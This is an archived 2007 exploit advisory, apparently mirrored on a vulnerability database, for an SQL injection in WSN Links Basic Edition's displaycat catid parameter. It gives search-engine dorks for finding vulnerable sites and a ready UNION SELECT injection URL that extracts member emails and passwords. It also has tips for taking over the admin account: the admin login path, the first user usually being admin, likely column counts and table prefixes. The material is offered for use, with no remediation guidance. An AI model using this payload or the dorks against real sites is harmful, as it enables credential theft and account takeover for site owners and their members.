WSN Links Basic Edition (displaycat catid) SQL Injection Vulnerbility

🗓️ 22 Jul 2007 00:00:00Reported by RootType

WSN Links Basic Edition SQL Injection Vulnerability, pull member info from database, admin login, table prefi


                                                --==+================================================================================+==--
--==+		&nbsp;&nbsp;&nbsp;&nbsp;WSN&nbsp;Links&nbsp;Basic&nbsp;Edition&nbsp;SQL&nbsp;Injection&nbsp;Vulnerbility	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--



AUTHOR:&nbsp;t0pP8uZz&nbsp;&amp;&nbsp;xprog
SITE:&nbsp;wsnforum.com
DORK:&nbsp;Google:&nbsp;intext:&quot;Powered&nbsp;by&nbsp;WSN&nbsp;Links&nbsp;Basic&nbsp;Edition&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Altavista:&nbsp;&quot;Powered&nbsp;by&nbsp;WSN&nbsp;Links&nbsp;Basic&nbsp;Edition&quot;


DESCRIPTION:&nbsp;
pull&nbsp;out&nbsp;member&nbsp;info&nbsp;from&nbsp;the&nbsp;database


EXPLOITS:
http://www.server.com/Script_Dir/index.php?action=displaycat&amp;catid=1/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,concat(email,0x3a,password),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/wsnlinks_members/**/LIMIT/**/0,1/*


NOTE/TIP:&nbsp;
admin&nbsp;login&nbsp;is&nbsp;at&nbsp;Script_Dir/adminlogin.php&nbsp;usually&nbsp;the&nbsp;first&nbsp;user&nbsp;is&nbsp;admin
also&nbsp;the&nbsp;amount&nbsp;of&nbsp;'columns'&nbsp;may&nbsp;differ&nbsp;althou&nbsp;its&nbsp;normally&nbsp;35&nbsp;or&nbsp;28.
the&nbsp;script&nbsp;also&nbsp;uses&nbsp;table&nbsp;prefix,&nbsp;the&nbsp;most&nbsp;used&nbsp;are&nbsp;wsnlinks&nbsp;and&nbsp;wsn&nbsp;so&nbsp;that&nbsp;would&nbsp;make&nbsp;the&nbsp;table&nbsp;wsn_members&nbsp;ect.


GREETZ:&nbsp;milw0rm.com,&nbsp;H4CKY0u.org,&nbsp;G0t-Root.net&nbsp;!



--==+================================================================================+==--
--==+		&nbsp;&nbsp;&nbsp;&nbsp;WSN&nbsp;Links&nbsp;Basic&nbsp;Edition&nbsp;SQL&nbsp;Injection&nbsp;Vulnerbility	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--

22 Jul 2007 00:00Current

7.1High risk

Vulners AI Score7.1